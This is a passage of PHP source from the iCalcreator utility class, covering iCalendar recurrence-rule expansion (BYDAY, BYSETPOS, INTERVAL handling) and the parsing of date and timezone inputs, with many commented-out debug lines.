    $endDatets = iCalUtilityFunctions::_date2timestamp( $enddate ); // fix break
    if( !isset( $recur['COUNT'] ) && !isset( $recur['UNTIL'] ))
      $recur['UNTIL'] = $enddate; // create break
    if( isset( $recur['UNTIL'] )) {
      $tdatets = iCalUtilityFunctions::_date2timestamp( $recur['UNTIL'] );
      if( $endDatets > $tdatets ) {
        $endDatets = $tdatets; // emergency break
        $enddate   = iCalUtilityFunctions::_timestamp2date( $endDatets, 6 );
      }
      else
        $recur['UNTIL'] = iCalUtilityFunctions::_timestamp2date( $endDatets, 6 );
    }
    if( $wdatets > $endDatets ) {
// echo "recur out of date ".date('Y-m-d H:i:s',$wdatets)."<br>\n";//test
      return array(); // nothing to do.. .
    }
    if( !isset( $recur['FREQ'] )) // "MUST be specified.. ."
      $recur['FREQ'] = 'DAILY'; // ??
    $wkst = ( isset( $recur['WKST'] ) && ( 'SU' == $recur['WKST'] )) ? 24*60*60 : 0; // ??
    $weekStart = (int) date( 'W', ( $wdatets + $wkst ));
    if( !isset( $recur['INTERVAL'] ))
      $recur['INTERVAL'] = 1;
    $countcnt = ( !isset( $recur['BYSETPOS'] )) ? 1 : 0; // DTSTART counts as the first occurrence
            /* find out how to step up dates and set index for interval count */
    $step = array();
    if( 'YEARLY' == $recur['FREQ'] )
      $step['year']  = 1;
    elseif( 'MONTHLY' == $recur['FREQ'] )
      $step['month'] = 1;
    elseif( 'WEEKLY' == $recur['FREQ'] )
      $step['day']   = 7;
    else
      $step['day']   = 1;
    if( isset( $step['year'] ) && isset( $recur['BYMONTH'] ))
      $step = array( 'month' => 1 );
    if( empty( $step ) && isset( $recur['BYWEEKNO'] )) // ??
      $step = array( 'day' => 7 );
    if( isset( $recur['BYYEARDAY'] ) || isset( $recur['BYMONTHDAY'] ) || isset( $recur['BYDAY'] ))
      $step = array( 'day' => 1 );
    $intervalarr = array();
    if( 1 < $recur['INTERVAL'] ) {
      $intervalix = iCalUtilityFunctions::_recurIntervalIx( $recur['FREQ'], $wdate, $wkst );
      $intervalarr = array( $intervalix => 0 );
    }
    if( isset( $recur['BYSETPOS'] )) { // save start date + weekno
      $bysetposymd1 = $bysetposymd2 = $bysetposw1 = $bysetposw2 = array();
// echo "bysetposXold_start=$bysetposYold $bysetposMold $bysetposDold<br>\n"; // test ###
      if( is_array( $recur['BYSETPOS'] )) {
        foreach( $recur['BYSETPOS'] as $bix => $bval )
          $recur['BYSETPOS'][$bix] = (int) $bval;
      }
      else
        $recur['BYSETPOS'] = array( (int) $recur['BYSETPOS'] );
      if( 'YEARLY' == $recur['FREQ'] ) {
        $wdate['month'] = $wdate['day'] = 1; // start from beginning of year
        $wdatets        = iCalUtilityFunctions::_date2timestamp( $wdate );
        iCalUtilityFunctions::_stepdate( $enddate, $endDatets, array( 'year' => 1 )); // make sure to count whole last year
      }
      elseif( 'MONTHLY' == $recur['FREQ'] ) {
        $wdate['day']   = 1; // start from beginning of month
        $wdatets        = iCalUtilityFunctions::_date2timestamp( $wdate );
        iCalUtilityFunctions::_stepdate( $enddate, $endDatets, array( 'month' => 1 )); // make sure to count whole last month
      }
      else
        iCalUtilityFunctions::_stepdate( $enddate, $endDatets, $step); // make sure to count whole last period
// echo "BYSETPOS endDat++ =".implode('-',$enddate).' step='.var_export($step,TRUE)."<br>\n";//test###
      $bysetposWold = (int) date( 'W', ( $wdatets + $wkst ));
      $bysetposYold = $wdate['year'];
      $bysetposMold = $wdate['month'];
      $bysetposDold = $wdate['day'];
    }
    else
      iCalUtilityFunctions::_stepdate( $wdate, $wdatets, $step);
    $year_old     = null;
    $daynames     = array( 'SU', 'MO', 'TU', 'WE', 'TH', 'FR', 'SA' );
             /* MAIN LOOP */
// echo "recur start ".implode('-',$wdate)." end ".implode('-',$enddate)."<br>\n";//test
    while( TRUE ) {
      if( isset( $endDatets ) && ( $wdatets > $endDatets ))
        break;
      if( isset( $recur['COUNT'] ) && ( $countcnt >= $recur['COUNT'] ))
        break;
      if( $year_old != $wdate['year'] ) {
        $year_old   = $wdate['year'];
        $daycnts    = array();
        $yeardays   = $weekno = 0;
        $yeardaycnt = array();
        foreach( $daynames as $dn )
          $yeardaycnt[$dn] = 0;
        for( $m = 1; $m <= 12; $m++ ) { // count up and update up-counters
          $daycnts[$m] = array();
          $weekdaycnt = array();
          foreach( $daynames as $dn )
            $weekdaycnt[$dn] = 0;
          $mcnt     = date( 't', mktime( 0, 0, 0, $m, 1, $wdate['year'] ));
          for( $d   = 1; $d <= $mcnt; $d++ ) {
            $daycnts[$m][$d] = array();
            if( isset( $recur['BYYEARDAY'] )) {
              $yeardays++;
              $daycnts[$m][$d]['yearcnt_up'] = $yeardays;
            }
            if( isset( $recur['BYDAY'] )) {
              $day    = date( 'w', mktime( 0, 0, 0, $m, $d, $wdate['year'] ));
              $day    = $daynames[$day];
              $daycnts[$m][$d]['DAY'] = $day;
              $weekdaycnt[$day]++;
              $daycnts[$m][$d]['monthdayno_up'] = $weekdaycnt[$day];
              $yeardaycnt[$day]++;
              $daycnts[$m][$d]['yeardayno_up'] = $yeardaycnt[$day];
            }
            if(  isset( $recur['BYWEEKNO'] ) || ( $recur['FREQ'] == 'WEEKLY' ))
              $daycnts[$m][$d]['weekno_up'] =(int)date('W',mktime(0,0,$wkst,$m,$d,$wdate['year']));
          }
        }
        $daycnt = 0;
        $yeardaycnt = array();
        if(  isset( $recur['BYWEEKNO'] ) || ( $recur['FREQ'] == 'WEEKLY' )) {
          $weekno = null;
          for( $d=31; $d > 25; $d-- ) { // get last weekno for year
            if( !$weekno )
              $weekno = $daycnts[12][$d]['weekno_up'];
            elseif( $weekno < $daycnts[12][$d]['weekno_up'] ) {
              $weekno = $daycnts[12][$d]['weekno_up'];
              break;
            }
          }
        }
        for( $m = 12; $m > 0; $m-- ) { // count down and update down-counters
          $weekdaycnt = array();
          foreach( $daynames as $dn )
            $yeardaycnt[$dn] = $weekdaycnt[$dn] = 0;
          $monthcnt = 0;
          $mcnt     = date( 't', mktime( 0, 0, 0, $m, 1, $wdate['year'] ));
          for( $d   = $mcnt; $d > 0; $d-- ) {
            if( isset( $recur['BYYEARDAY'] )) {
              $daycnt -= 1;
              $daycnts[$m][$d]['yearcnt_down'] = $daycnt;
            }
            if( isset( $recur['BYMONTHDAY'] )) {
              $monthcnt -= 1;
              $daycnts[$m][$d]['monthcnt_down'] = $monthcnt;
            }
            if( isset( $recur['BYDAY'] )) {
              $day  = $daycnts[$m][$d]['DAY'];
              $weekdaycnt[$day] -= 1;
              $daycnts[$m][$d]['monthdayno_down'] = $weekdaycnt[$day];
              $yeardaycnt[$day] -= 1;
              $daycnts[$m][$d]['yeardayno_down'] = $yeardaycnt[$day];
            }
            if(  isset( $recur['BYWEEKNO'] ) || ( $recur['FREQ'] == 'WEEKLY' ))
              $daycnts[$m][$d]['weekno_down'] = ($daycnts[$m][$d]['weekno_up'] - $weekno - 1);
          }
        }
      }
            /* check interval */
      if( 1 < $recur['INTERVAL'] ) {
            /* create interval index */
        $intervalix = iCalUtilityFunctions::_recurIntervalIx( $recur['FREQ'], $wdate, $wkst );
            /* check interval */
        $currentKey = array_keys( $intervalarr );
        $currentKey = end( $currentKey ); // get last index
        if( $currentKey != $intervalix )
          $intervalarr = array( $intervalix => ( $intervalarr[$currentKey] + 1 ));
        if(( $recur['INTERVAL'] != $intervalarr[$intervalix] ) &&
           ( 0 != $intervalarr[$intervalix] )) {
            /* step up date */
// echo "skip: ".implode('-',$wdate)." ix=$intervalix old=$currentKey interval=".$intervalarr[$intervalix]."<br>\n";//test
          iCalUtilityFunctions::_stepdate( $wdate, $wdatets, $step);
          continue;
        }
        else // continue within the selected interval
          $intervalarr[$intervalix] = 0;
// echo "cont: ".implode('-',$wdate)." ix=$intervalix old=$currentKey interval=".$intervalarr[$intervalix]."<br>\n";//test
      }
      $updateOK = TRUE;
      if( $updateOK && isset( $recur['BYMONTH'] ))
        $updateOK = iCalUtilityFunctions::_recurBYcntcheck( $recur['BYMONTH']
                                           , $wdate['month']
                                           ,($wdate['month'] - 13));
      if( $updateOK && isset( $recur['BYWEEKNO'] ))
        $updateOK = iCalUtilityFunctions::_recurBYcntcheck( $recur['BYWEEKNO']
                                           , $daycnts[$wdate['month']][$wdate['day']]['weekno_up']
                                           , $daycnts[$wdate['month']][$wdate['day']]['weekno_down'] );
      if( $updateOK && isset( $recur['BYYEARDAY'] ))
        $updateOK = iCalUtilityFunctions::_recurBYcntcheck( $recur['BYYEARDAY']
                                           , $daycnts[$wdate['month']][$wdate['day']]['yearcnt_up']
                                           , $daycnts[$wdate['month']][$wdate['day']]['yearcnt_down'] );
      if( $updateOK && isset( $recur['BYMONTHDAY'] ))
        $updateOK = iCalUtilityFunctions::_recurBYcntcheck( $recur['BYMONTHDAY']
                                           , $wdate['day']
                                           , $daycnts[$wdate['month']][$wdate['day']]['monthcnt_down'] );
// echo "efter BYMONTHDAY: ".implode('-',$wdate).' status: '; echo ($updateOK) ? 'TRUE' : 'FALSE'; echo "<br>\n";//test###
      if( $updateOK && isset( $recur['BYDAY'] )) {
        $updateOK = FALSE;
        $m = $wdate['month'];
        $d = $wdate['day'];
        if( isset( $recur['BYDAY']['DAY'] )) { // single day, opt with year/month day order no
          $daynoexists = $daynosw = $daynamesw =  FALSE;
          if( $recur['BYDAY']['DAY'] == $daycnts[$m][$d]['DAY'] )
            $daynamesw = TRUE;
          if( isset( $recur['BYDAY'][0] )) {
            $daynoexists = TRUE;
            if(( isset( $recur['FREQ'] ) && ( $recur['FREQ'] == 'MONTHLY' )) || isset( $recur['BYMONTH'] ))
              $daynosw = iCalUtilityFunctions::_recurBYcntcheck( $recur['BYDAY'][0]
                                                , $daycnts[$m][$d]['monthdayno_up']
                                                , $daycnts[$m][$d]['monthdayno_down'] );
            elseif( isset( $recur['FREQ'] ) && ( $recur['FREQ'] == 'YEARLY' ))
              $daynosw = iCalUtilityFunctions::_recurBYcntcheck( $recur['BYDAY'][0]
                                                , $daycnts[$m][$d]['yeardayno_up']
                                                , $daycnts[$m][$d]['yeardayno_down'] );
          }
          if((  $daynoexists &&  $daynosw && $daynamesw ) ||
             ( !$daynoexists && !$daynosw && $daynamesw )) {
            $updateOK = TRUE;
// echo "m=$m d=$d day=".$daycnts[$m][$d]['DAY']." yeardayno_up=".$daycnts[$m][$d]['yeardayno_up']." daynoexists:$daynoexists daynosw:$daynosw daynamesw:$daynamesw updateOK:$updateOK<br>\n"; // test ###
          }
// echo "m=$m d=$d day=".$daycnts[$m][$d]['DAY']." yeardayno_up=".$daycnts[$m][$d]['yeardayno_up']." daynoexists:$daynoexists daynosw:$daynosw daynamesw:$daynamesw updateOK:$updateOK<br>\n"; // test ###
        }
        else {
          foreach( $recur['BYDAY'] as $bydayvalue ) {
            $daynoexists = $daynosw = $daynamesw = FALSE;
            if( isset( $bydayvalue['DAY'] ) &&
                     ( $bydayvalue['DAY'] == $daycnts[$m][$d]['DAY'] ))
              $daynamesw = TRUE;
            if( isset( $bydayvalue[0] )) {
              $daynoexists = TRUE;
              if(( isset( $recur['FREQ'] ) && ( $recur['FREQ'] == 'MONTHLY' )) ||
                   isset( $recur['BYMONTH'] ))
                $daynosw = iCalUtilityFunctions::_recurBYcntcheck( $bydayvalue['0']
                                                  , $daycnts[$m][$d]['monthdayno_up']
                                                  , $daycnts[$m][$d]['monthdayno_down'] );
              elseif( isset( $recur['FREQ'] ) && ( $recur['FREQ'] == 'YEARLY' ))
                $daynosw = iCalUtilityFunctions::_recurBYcntcheck( $bydayvalue['0']
                                                  , $daycnts[$m][$d]['yeardayno_up']
                                                  , $daycnts[$m][$d]['yeardayno_down'] );
            }
// echo "daynoexists:$daynoexists daynosw:$daynosw daynamesw:$daynamesw<br>\n"; // test ###
            if((  $daynoexists &&  $daynosw && $daynamesw ) ||
               ( !$daynoexists && !$daynosw && $daynamesw )) {
              $updateOK = TRUE;
              break;
            }
          }
        }
      }
// echo "efter BYDAY: ".implode('-',$wdate).' status: '; echo ($updateOK) ? 'TRUE' : 'FALSE'; echo "<br>\n"; // test ###
            /* check BYSETPOS */
      if( $updateOK ) {
        if( isset( $recur['BYSETPOS'] ) &&
          ( in_array( $recur['FREQ'], array( 'YEARLY', 'MONTHLY', 'WEEKLY', 'DAILY' )))) {
          if( isset( $recur['WEEKLY'] )) {
            if( $bysetposWold == $daycnts[$wdate['month']][$wdate['day']]['weekno_up'] )
              $bysetposw1[] = $wdatets;
            else
              $bysetposw2[] = $wdatets;
          }
          else {
            if(( isset( $recur['FREQ'] ) && ( 'YEARLY'      == $recur['FREQ'] )  &&
                                            ( $bysetposYold == $wdate['year'] ))   ||
               ( isset( $recur['FREQ'] ) && ( 'MONTHLY'     == $recur['FREQ'] )  &&
                                           (( $bysetposYold == $wdate['year'] )  &&
                                            ( $bysetposMold == $wdate['month'] ))) ||
               ( isset( $recur['FREQ'] ) && ( 'DAILY'       == $recur['FREQ'] )  &&
                                           (( $bysetposYold == $wdate['year'] )  &&
                                            ( $bysetposMold == $wdate['month'])  &&
                                            ( $bysetposDold == $wdate['day'] )))) {
// echo "bysetposymd1[]=".date('Y-m-d H:i:s',$wdatets)."<br>\n";//test
              $bysetposymd1[] = $wdatets;
            }
            else {
// echo "bysetposymd2[]=".date('Y-m-d H:i:s',$wdatets)."<br>\n";//test
              $bysetposymd2[] = $wdatets;
            }
          }
        }
        else {
            /* update result array if BYSETPOS is set */
          $countcnt++;
          if( $startdatets <= $wdatets ) { // only output within period
            $result[$wdatets] = TRUE;
// echo "recur ".date('Y-m-d H:i:s',$wdatets)."<br>\n";//test
          }
// echo "recur undate ".date('Y-m-d H:i:s',$wdatets)." okdatstart ".date('Y-m-d H:i:s',$startdatets)."<br>\n";//test
          $updateOK = FALSE;
        }
      }
            /* step up date */
      iCalUtilityFunctions::_stepdate( $wdate, $wdatets, $step);
            /* check if BYSETPOS is set for updating result array */
      if( $updateOK && isset( $recur['BYSETPOS'] )) {
        $bysetpos       = FALSE;
        if( isset( $recur['FREQ'] ) && ( 'YEARLY'  == $recur['FREQ'] ) &&
          ( $bysetposYold != $wdate['year'] )) {
          $bysetpos     = TRUE;
          $bysetposYold = $wdate['year'];
        }
        elseif( isset( $recur['FREQ'] ) && ( 'MONTHLY' == $recur['FREQ'] &&
         (( $bysetposYold != $wdate['year'] ) || ( $bysetposMold != $wdate['month'] )))) {
          $bysetpos     = TRUE;
          $bysetposYold = $wdate['year'];
          $bysetposMold = $wdate['month'];
        }
        elseif( isset( $recur['FREQ'] ) && ( 'WEEKLY'  == $recur['FREQ'] )) {
          $weekno = (int) date( 'W', mktime( 0, 0, $wkst, $wdate['month'], $wdate['day'], $wdate['year']));
          if( $bysetposWold != $weekno ) {
            $bysetposWold = $weekno;
            $bysetpos     = TRUE;
          }
        }
        elseif( isset( $recur['FREQ'] ) && ( 'DAILY'   == $recur['FREQ'] ) &&
         (( $bysetposYold != $wdate['year'] )  ||
          ( $bysetposMold != $wdate['month'] ) ||
          ( $bysetposDold != $wdate['day'] ))) {
          $bysetpos     = TRUE;
          $bysetposYold = $wdate['year'];
          $bysetposMold = $wdate['month'];
          $bysetposDold = $wdate['day'];
        }
        if( $bysetpos ) {
          if( isset( $recur['BYWEEKNO'] )) {
            $bysetposarr1 = & $bysetposw1;
            $bysetposarr2 = & $bysetposw2;
          }
          else {
            $bysetposarr1 = & $bysetposymd1;
            $bysetposarr2 = & $bysetposymd2;
          }
// echo 'test före out startYMD (weekno)='.$wdateStart['year'].':'.$wdateStart['month'].':'.$wdateStart['day']." ($weekStart) "; // test ###
          foreach( $recur['BYSETPOS'] as $ix ) {
            if( 0 > $ix ) // both positive and negative BYSETPOS allowed
              $ix = ( count( $bysetposarr1 ) + $ix + 1);
            $ix--;
            if( isset( $bysetposarr1[$ix] )) {
              if( $startdatets <= $bysetposarr1[$ix] ) { // only output within period
//                $testdate   = iCalUtilityFunctions::_timestamp2date( $bysetposarr1[$ix], 6 );                // test ###
//                $testweekno = (int) date( 'W', mktime( 0, 0, $wkst, $testdate['month'], $testdate['day'], $testdate['year'] )); // test ###
// echo " testYMD (weekno)=".$testdate['year'].':'.$testdate['month'].':'.$testdate['day']." ($testweekno)";   // test ###
                $result[$bysetposarr1[$ix]] = TRUE;
// echo " recur ".date('Y-m-d H:i:s',$bysetposarr1[$ix]); // test ###
              }
              $countcnt++;
            }
            if( isset( $recur['COUNT'] ) && ( $countcnt >= $recur['COUNT'] ))
              break;
          }
// echo "<br>\n"; // test ###
          $bysetposarr1 = $bysetposarr2;
          $bysetposarr2 = array();
        }
      }
    }
  }
  public static function _recurBYcntcheck( $BYvalue, $upValue, $downValue ) {
    if( is_array( $BYvalue ) &&
      ( in_array( $upValue, $BYvalue ) || in_array( $downValue, $BYvalue )))
      return TRUE;
    elseif(( $BYvalue == $upValue ) || ( $BYvalue == $downValue ))
      return TRUE;
    else
      return FALSE;
  }
  public static function _recurIntervalIx( $freq, $date, $wkst ) {
            /* create interval index */
    switch( $freq ) {
      case 'YEARLY':
        $intervalix = $date['year'];
        break;
      case 'MONTHLY':
        $intervalix = $date['year'].'-'.$date['month'];
        break;
      case 'WEEKLY':
        $wdatets    = iCalUtilityFunctions::_date2timestamp( $date );
        $intervalix = (int) date( 'W', ( $wdatets + $wkst ));
       break;
      case 'DAILY':
           default:
        $intervalix = $date['year'].'-'.$date['month'].'-'.$date['day'];
        break;
    }
    return $intervalix;
  }
  public static function _recurBydaySort( $bydaya, $bydayb ) {
    static $days = array( 'SU' => 0, 'MO' => 1, 'TU' => 2, 'WE' => 3, 'TH' => 4, 'FR' => 5, 'SA' => 6 );
    return ( $days[substr( $bydaya, -2 )] < $days[substr( $bydayb, -2 )] ) ? -1 : 1;
  }
/**
 * convert input format for exrule and rrule to internal format
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.14.1 - 2012-09-24
 * @param array $rexrule
 * @return array
 */
  public static function _setRexrule( $rexrule ) {
    $input          = array();
    if( empty( $rexrule ))
      return $input;
    foreach( $rexrule as $rexrulelabel => $rexrulevalue ) {
      $rexrulelabel = strtoupper( $rexrulelabel );
      if( 'UNTIL'  != $rexrulelabel )
        $input[$rexrulelabel]   = $rexrulevalue;
      else {
        iCalUtilityFunctions::_strDate2arr( $rexrulevalue );
        if( iCalUtilityFunctions::_isArrayTimestampDate( $rexrulevalue )) // timestamp, always date-time UTC
          $input[$rexrulelabel] = iCalUtilityFunctions::_timestamp2date( $rexrulevalue, 7, 'UTC' );
        elseif( iCalUtilityFunctions::_isArrayDate( $rexrulevalue )) { // date or UTC date-time
          $parno = ( isset( $rexrulevalue['hour'] ) || isset( $rexrulevalue[4] )) ? 7 : 3;
          $d = iCalUtilityFunctions::_chkDateArr( $rexrulevalue, $parno );
          if(( 3 < $parno ) && isset( $d['tz'] ) && ( 'Z' != $d['tz'] ) && iCalUtilityFunctions::_isOffset( $d['tz'] )) {
            $strdate              = sprintf( '%04d-%02d-%02d %02d:%02d:%02d %s', $d['year'], $d['month'], $d['day'], $d['hour'], $d['min'], $d['sec'], $d['tz'] );
            $input[$rexrulelabel] = iCalUtilityFunctions::_strdate2date( $strdate, 7 );
            unset( $input[$rexrulelabel]['unparsedtext'] );
          }
          else
           $input[$rexrulelabel] = $d;
        }
        elseif( 8 <= strlen( trim( $rexrulevalue ))) { // ex. textual date-time 2006-08-03 10:12:18 => UTC
          $input[$rexrulelabel] = iCalUtilityFunctions::_strdate2date( $rexrulevalue );
          unset( $input['$rexrulelabel']['unparsedtext'] );
        }
        if(( 3 < count( $input[$rexrulelabel] )) && !isset( $input[$rexrulelabel]['tz'] ))
          $input[$rexrulelabel]['tz'] = 'Z';
      }
    }
            /* set recurrence rule specification in rfc2445 order */
    $input2 = array();
    if( isset( $input['FREQ'] ))
      $input2['FREQ']       = $input['FREQ'];
    if( isset( $input['UNTIL'] ))
      $input2['UNTIL']      = $input['UNTIL'];
    elseif( isset( $input['COUNT'] ))
      $input2['COUNT']      = $input['COUNT'];
    if( isset( $input['INTERVAL'] ))
      $input2['INTERVAL']   = $input['INTERVAL'];
    if( isset( $input['BYSECOND'] ))
      $input2['BYSECOND']   = $input['BYSECOND'];
    if( isset( $input['BYMINUTE'] ))
      $input2['BYMINUTE']   = $input['BYMINUTE'];
    if( isset( $input['BYHOUR'] ))
      $input2['BYHOUR']     = $input['BYHOUR'];
    if( isset( $input['BYDAY'] )) {
      if( !is_array( $input['BYDAY'] )) // ensure upper case.. .
        $input2['BYDAY']    = strtoupper( $input['BYDAY'] );
      else {
        foreach( $input['BYDAY'] as $BYDAYx => $BYDAYv ) {
          if( 'DAY'        == strtoupper( $BYDAYx ))
             $input2['BYDAY']['DAY'] = strtoupper( $BYDAYv );
          elseif( !is_array( $BYDAYv )) {
             $input2['BYDAY'][$BYDAYx]  = $BYDAYv;
          }
          else {
            foreach( $BYDAYv as $BYDAYx2 => $BYDAYv2 ) {
              if( 'DAY'    == strtoupper( $BYDAYx2 ))
                 $input2['BYDAY'][$BYDAYx]['DAY'] = strtoupper( $BYDAYv2 );
              else
                 $input2['BYDAY'][$BYDAYx][$BYDAYx2] = $BYDAYv2;
            }
          }
        }
      }
    }
    if( isset( $input['BYMONTHDAY'] ))
      $input2['BYMONTHDAY'] = $input['BYMONTHDAY'];
    if( isset( $input['BYYEARDAY'] ))
      $input2['BYYEARDAY']  = $input['BYYEARDAY'];
    if( isset( $input['BYWEEKNO'] ))
      $input2['BYWEEKNO']   = $input['BYWEEKNO'];
    if( isset( $input['BYMONTH'] ))
      $input2['BYMONTH']    = $input['BYMONTH'];
    if( isset( $input['BYSETPOS'] ))
      $input2['BYSETPOS']   = $input['BYSETPOS'];
    if( isset( $input['WKST'] ))
      $input2['WKST']       = $input['WKST'];
    return $input2;
  }
/**
 * convert format for input date to internal date with parameters
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.24 - 2013-06-26
 * @param mixed  $year
 * @param mixed  $month   optional
 * @param int    $day     optional
 * @param int    $hour    optional
 * @param int    $min     optional
 * @param int    $sec     optional
 * @param string $tz      optional
 * @param array  $params  optional
 * @param string $caller  optional
 * @param string $objName optional
 * @param string $tzid    optional
 * @return array
 */
  public static function _setDate( $year, $month=FALSE, $day=FALSE, $hour=FALSE, $min=FALSE, $sec=FALSE, $tz=FALSE, $params=FALSE, $caller=null, $objName=null, $tzid=FALSE ) {
    $input = $parno = null;
    $localtime = (( 'dtstart' == $caller ) && in_array( $objName, array( 'vtimezone', 'standard', 'daylight' ))) ? TRUE : FALSE;
    iCalUtilityFunctions::_strDate2arr( $year );
    if( iCalUtilityFunctions::_isArrayDate( $year )) {
      $input['value']  = iCalUtilityFunctions::_chkDateArr( $year, FALSE ); //$parno );
      if( 100 > $input['value']['year'] )
        $input['value']['year'] += 2000;
      if( $localtime )
        unset( $month['VALUE'], $month['TZID'] );
      elseif( !isset( $month['TZID'] ) && isset( $tzid ))
        $month['TZID'] = $tzid;
      if( isset( $input['value']['tz'] ) && iCalUtilityFunctions::_isOffset( $input['value']['tz'] ))
        unset( $month['TZID'] );
      elseif( !isset( $input['value']['tz'] ) &&  isset( $month['TZID'] ) && iCalUtilityFunctions::_isOffset( $month['TZID'] )) {
        $input['value']['tz'] = $month['TZID'];
        unset( $month['TZID'] );
      }
      $input['params'] = iCalUtilityFunctions::_setParams( $month, array( 'VALUE' => 'DATE-TIME' ));
      $hitval          = ( isset( $input['value']['tz'] )) ? 7 : 6;
      $parno           = iCalUtilityFunctions::_existRem( $input['params'], 'VALUE', 'DATE-TIME', $hitval );
      $parno           = iCalUtilityFunctions::_existRem( $input['params'], 'VALUE', 'DATE', 3, count( $input['value'] ), $parno );
      if( 6 > $parno )
        unset( $input['value']['tz'], $input['params']['TZID'], $tzid );
      if(( 6 <= $parno ) && isset( $input['value']['tz'] ) && ( 'Z' != $input['value']['tz'] ) && iCalUtilityFunctions::_isOffset( $input['value']['tz'] )) {
        $d             = $input['value'];
        $strdate       = sprintf( '%04d-%02d-%02d %02d:%02d:%02d %s', $d['year'], $d['month'], $d['day'], $d['hour'], $d['min'], $d['sec'], $d['tz'] );
        $input['value'] = iCalUtilityFunctions::_strdate2date( $strdate, $parno );
        unset( $input['value']['unparsedtext'], $input['params']['TZID'] );
      }
      if( isset( $input['value']['tz'] ) && !iCalUtilityFunctions::_isOffset( $input['value']['tz'] )) {
        $input['params']['TZID'] = $input['value']['tz'];
        unset( $input['value']['tz'] );
      }
    } // end if( iCalUtilityFunctions::_isArrayDate( $year ))
    elseif( iCalUtilityFunctions::_isArrayTimestampDate( $year )) {
      if( $localtime ) unset ( $month['VALUE'], $month['TZID'] );
      $input['params'] = iCalUtilityFunctions::_setParams( $month, array( 'VALUE' => 'DATE-TIME' ));
      $parno           = iCalUtilityFunctions::_existRem( $input['params'], 'VALUE', 'DATE', 3 );
      $hitval          = 7;
      $parno           = iCalUtilityFunctions::_existRem( $input['params'], 'VALUE', 'DATE-TIME', $hitval, $parno );
      if( isset( $year['tz'] ) && !empty( $year['tz'] )) {
        if( !iCalUtilityFunctions::_isOffset( $year['tz'] )) {
          $input['params']['TZID'] = $year['tz'];
          unset( $year['tz'], $tzid );
        }
        else {
          if( isset( $input['params']['TZID'] ) && !empty( $input['params']['TZID'] )) {
            if( !iCalUtilityFunctions::_isOffset( $input['params']['TZID'] ))
              unset( $tzid );
            else
              unset( $input['params']['TZID']);
          }
          elseif( isset( $tzid ) && !iCalUtilityFunctions::_isOffset( $tzid ))
            $input['params']['TZID'] = $tzid;
        }
      }
      elseif( isset( $input['params']['TZID'] ) && !empty( $input['params']['TZID'] )) {
        if( iCalUtilityFunctions::_isOffset( $input['params']['TZID'] )) {
          $year['tz'] = $input['params']['TZID'];
          unset( $input['params']['TZID']);
          if( isset( $tzid ) && !empty( $tzid ) && !iCalUtilityFunctions::_isOffset( $tzid ))
            $input['params']['TZID'] = $tzid;
        }
      }
      elseif( isset( $tzid ) && !empty( $tzid )) {
        if( iCalUtilityFunctions::_isOffset( $tzid )) {
          $year['tz'] = $tzid;
          unset( $input['params']['TZID']);
        }
        else
          $input['params']['TZID'] = $tzid;
      }
      $input['value']  = iCalUtilityFunctions::_timestamp2date( $year, $parno );
    } // end elseif( iCalUtilityFunctions::_isArrayTimestampDate( $year ))
    elseif( 8 <= strlen( trim( $year ))) { // ex. 2006-08-03 10:12:18 [[[+/-]1234[56]] / timezone]
      if( $localtime )
        unset( $month['VALUE'], $month['TZID'] );
      elseif( !isset( $month['TZID'] ) && !empty( $tzid ))
        $month['TZID'] = $tzid;
      $input['params'] = iCalUtilityFunctions::_setParams( $month, array( 'VALUE' => 'DATE-TIME' ));
      $parno           = iCalUtilityFunctions::_existRem( $input['params'], 'VALUE', 'DATE-TIME', 7, $parno );
      $parno           = iCalUtilityFunctions::_existRem( $input['params'], 'VALUE', 'DATE', 3, $parno, $parno );
      $input['value']  = iCalUtilityFunctions::_strdate2date( $year, $parno );
      if( 3 == $parno )
        unset( $input['value']['tz'], $input['params']['TZID'] );
      unset( $input['value']['unparsedtext'] );
      if( isset( $input['value']['tz'] )) {
        if( iCalUtilityFunctions::_isOffset( $input['value']['tz'] )) {
          $d           = $input['value'];
          $strdate     = sprintf( '%04d-%02d-%02d %02d:%02d:%02d %s', $d['year'], $d['month'], $d['day'], $d['hour'], $d['min'], $d['sec'], $d['tz'] );
          $input['value'] = iCalUtilityFunctions::_strdate2date( $strdate, 7 );
          unset( $input['value']['unparsedtext'], $input['params']['TZID'] );
        }
        else {
          $input['params']['TZID'] = $input['value']['tz'];
          unset( $input['value']['tz'] );
        }
      }
      elseif( isset( $input['params']['TZID'] ) && iCalUtilityFunctions::_isOffset( $input['params']['TZID'] )) {
        $d             = $input['value'];
        $strdate       = sprintf( '%04d-%02d-%02d %02d:%02d:%02d %s', $d['year'], $d['month'], $d['day'], $d['hour'], $d['min'], $d['sec'], $input['params']['TZID'] );
        $input['value'] = iCalUtilityFunctions::_strdate2date( $strdate, 7 );
        unset( $input['value']['unparsedtext'], $input['params']['TZID'] );
      }
    } // end elseif( 8 <= strlen( trim( $year )))
    else {
      if( is_array( $params ))
        $input['params'] = iCalUtilityFunctions::_setParams( $params, array( 'VALUE' => 'DATE-TIME' ));
      elseif( is_array( $tz )) {
        $input['params'] = iCalUtilityFunctions::_setParams( $tz,     array( 'VALUE' => 'DATE-TIME' ));
        $tz = FALSE;
      }
      elseif( is_array( $hour )) {
        $input['params'] = iCalUtilityFunctions::_setParams( $hour,   array( 'VALUE' => 'DATE-TIME' ));
        $hour = $min = $sec = $tz = FALSE;
      }
      if( $localtime )
        unset ( $input['params']['VALUE'], $input['params']['TZID'] );
      elseif( !isset( $tz ) && !isset( $input['params']['TZID'] ) && !empty( $tzid ))
        $input['params']['TZID'] = $tzid;
      elseif( isset( $tz ) && iCalUtilityFunctions::_isOffset( $tz ))
        unset( $input['params']['TZID'] );
      elseif( isset( $input['params']['TZID'] ) && iCalUtilityFunctions::_isOffset( $input['params']['TZID'] )) {
        $tz            = $input['params']['TZID'];
        unset( $input['params']['TZID'] );
      }
      $parno           = iCalUtilityFunctions::_existRem( $input['params'], 'VALUE', 'DATE', 3 );
      $hitval          = ( iCalUtilityFunctions::_isOffset( $tz )) ? 7 : 6;
      $parno           = iCalUtilityFunctions::_existRem( $input['params'], 'VALUE', 'DATE-TIME', $hitval, $parno, $parno );
      $input['value']  = array( 'year'  => $year, 'month' => $month, 'day'   => $day );
      if( 3 != $parno ) {
        $input['value']['hour'] = ( $hour ) ? $hour : '0';
        $input['value']['min']  = ( $min )  ? $min  : '0';
        $input['value']['sec']  = ( $sec )  ? $sec  : '0';
        if( !empty( $tz ))
